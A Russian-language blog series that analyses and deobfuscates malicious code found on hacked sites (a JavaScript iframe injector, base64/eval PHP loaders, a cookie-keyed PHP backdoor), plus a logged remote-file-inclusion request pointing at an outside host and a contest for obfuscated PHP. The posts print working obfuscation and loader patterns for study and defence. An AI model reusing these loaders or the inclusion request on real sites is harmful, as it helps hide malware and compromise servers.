Скрытие кода, метод 5

Следующий код был выдран из тела страницы взломанного сайта, этот javascript вставлял небольшой фрейм (сразу покажу причесанный вид, изначально все было в одну строку и без пробелов, пугающе :) ):

var s = '';
  try { new asd[0]
}
catch (q) {
  if (q) r = 1;
  c = String;
}
if (r && document.createTextNode) t = 2;
e = eval;
m = [4.5*t,18/t,52.5*t,204/t,16*t,80/t,...,4.5*t,18/t,62.5*t]; // здесь очень длинная строка
mm = c['fro'+'mCharCode'];
for (i = 0; i != m.length; i++) s += mm( e( "m" + "[" + "i" + ']' ) );
try {
  document.appendChild( null )
}
catch (q) {
  e( s );
}

На первый взгляд все крайне запутано и сложно, java-скрипты я пишу/читаю редко, поэтому сразу слегка даже растерялся. В причесанном коде выделил понятные места и довел все до понимания.

mm = c['fro'+'mCharCode'];

c – обозначает строку (String), т.е. переменной mm будет присвоена строка fromCharCode и mm будет выполнять роль этой функции.

mm( e( "m" + "[" + "i" + ']') );
// равносильно
String.fromCharCode( eval( "m[i]" ) );

это значит, что все арифметические выражения в массиве m будут подсчитаны, затем коды переведены в символы функцией fromCharCode и посимвольно в цикле внесены в строку s.

Результирующий код для расшифровки:

Читать остальную часть заметки »

Теги: , , , , , ,

Скрытие кода, метод 4

Взято из демо-версии DLE:

<?php $_F=__FILE__;$_X='STRING=';$_D=strrev('edoced_46esab');eval($_D('STRING2=='));?>

В коде бросаются в глаза две длиннющие строки в base64, раскодировать “в лоб” можно только вторую, там содержится кусок кода для дешифрации первой строки (STRING=). Причесанный вид файла:

$_F = __FILE__;
$_X = 'STRING=';
$_D = strrev( 'edoced_46esab' );
eval( $_D( 'STRING2==' ) );

edoced_46esab – это всего лишь перевертыш base64_decode. Вторая строка (STRING2==) после раскодировки и причесывания:

$_X = base64_decode( $_X );
$_X = strtr( $_X, 'STR1', 'STR2' );
$_R = str_replace( '__FILE__', "'".$_F."'", $_X );
eval( $_R );
$_R = 0;
$_X = 0;

Опять eval, от которого нужно избавиться. Собственно, интерес представляют только 2 и 3 строки. Дальше, общая раскодировка выглядит так:

$_F = __FILE__;
$_X = 'STRING=';
$_X = base64_decode( $_X );
$_Y = 'STRING2==';
$_Y = base64_decode( $_Y );
$_P = array(); // массив строк, которые будут вырезаны
$_P[0] = '$_X=base64_decode($_X);';
$_P[1] = 'eval($_R);$_R=0;$_X=0;';
$_Y = str_replace($_P, '', $_Y);
eval($_Y);
echo $_X;

Теги: , , , , ,

Скрытие кода, метод 3

Не совсем PHP, но тоже может быть интересно. Для вставки в страницы вредительского кода, в частности блоков iframe, используют javascript и данные, закодированные в unicode:

<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065')</script>

Раскодировать можно с помощью PHP:

$str = "\u003c\u0069\u0066\u0072\u0061\u006d\u0065";
$str = preg_replace( "/\\\\u([0-9a-f]{3,4})/i", "&#x\\1;", $str );
$str = html_entity_decode( $str, null, 'UTF-8' );

echo $str . "\n";

Чтобы посмотреть, что же находится в строке, не прибегая к PHP или каким-то инструментам, просто замените document.write на alert.

Когда-то давно я раскодировывал куски javascript-кода помещая его в теги <textarea>, пока в одном коде мне не попался </textarea> в начале зашифрованного кода. Вполне себе рабочие грабельки :)


Теги: , , , , , ,

Скрытие кода, метод 2

Следующий код был выдран из файла хакеров (или взломщиков или скрипткидсов), в закодированной строке был URL на внешний сайт, с которого подтягивался еще один кусок кода.

@eval(decrypt("CODECODE==",$_COOKIE['HASH'])); exit; function decrypt($txt,$key){
    $txt=base64_decode($txt); $res="";
    for($i=0; $i<strlen($txt); $i++){
        $c=substr($txt,$i,1);
        $kc=substr($key,($i%strlen($key))-1,1);
        $c=chr(ord($c)-ord($kc));
        $res.=$c;
    }
    return $res;

Раскодировывается просто, хотя на вскидку сложнее сказать/увидеть, что за манипуляции производятся со строкой:

$text = decrypt( "CODECODE==", "HASH" );

function decrypt( $txt, $key ) {
    $txt = base64_decode( $txt );
    $res = "";
    for ($i = 0; $i < strlen( $txt ); $i++) {
        $c = substr( $txt, $i, 1 );
        $kc = substr( $key, ($i % strlen( $key )) - 1, 1 );
        $c = chr( ord( $c ) - ord( $kc ) );
        $res .= $c;
    }
    return $res;
}

$fp = fopen( 'decoded.txt', 'w' );
fwrite( $fp, $text );
fclose( $fp );

HASH был выдран из соответствующего Кукиса, а сам код был в POST-запросе. Впервые встречаю, чтобы Cookie (куки, печеньки, печенюшки) использовали для таких целей. Умно, но не так уж сложно.

Взломщики часто перестраховываются и внешние куски кода отдают только после проверки строк User Agent и/или Referer, чтобы застраховаться от перехвата. Wget легко вытягивает такие файлы, для этого используются ключи:

-U agent-string
–user-agent=agent-string
–referer=url


Теги: , , , , ,

Скрытие кода, метод 1

Один из самых популярных способов скрыть код, часто встречается в темах WordPress и других движков и иногда в самих движках. Код выглядит следующим образом:

eval(base64_decode("CODECODECODE=="));
eval(gzinflate(base64_decode("CODECODECODE==")));

Первый вариант ломается легко, стоит только раскодировать строку из base64, второй – сложнее, нужно запихнуть все в переменную и сохранить в файл:

$text = gzinflate(base64_decode("CODECODECODE=="));

$fp = fopen('decoded.txt', 'w');
fwrite($fp, $text);
fclose($fp);

Немного больше телодвижений, но так же просто, главное убрать eval ;)

base64 можно раскодировать в редакторе Notepad++ с плагином TextFX Characters или MIME Tools.


Теги: , , , , ,

Конкурс в призами

Конкурс на самый самый самый круто закодированный PHP-файл.

1 место – 500 грн
2 место – 100 грн

работы :) присылайте на hahack /собака/ netspider.kiev.ua

условия:
- код может быть как вашим, так и позаимствованным из откуда угодно;
интересные кодировки бывают во всяких вирусах или платных скриптах.
- файл должен быть автономным и работоспособным, т.е. не требовать подключения других файлов или целых библиотек.
чтобы я мог его раскодировать и оценить ;)

Результаты, конкурсные работы и описания раскодировывания будут публиковаться в этом блоге.


Теги: , , , , ,

Скрипткиды или боты

Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP.

/var/log/messages:
Oct  4 03:23:34 220 suhosin[28420]: ALERT – tried to register forbidden variable ‘_SERVER[DOCUMENT_ROOT]‘ through GET variables (attacker ‘77.242.37.212‘, file ‘/xxx/domain.tld/index.php’)

Пример запроса (из лога апача):
211.111.213.195 – - [05/Oct/2009:08:26:22 +0300] “GET //?_SERVER[DOCUMENT_ROOT]=http://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? HTTP/1.1″ 302 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)”

Файл IDtest.txt все еще доступен для скачивания. Видимо никто еще на него не жаловался или хостинг игнорирует абузы.

Как защититься?

a) обновите PHP;
b) не включайте register_globals (оставьте Off);
c) дополнительно можете пользоваться патчем/модулем suhosin.


Теги: , , , , , , , , , , ,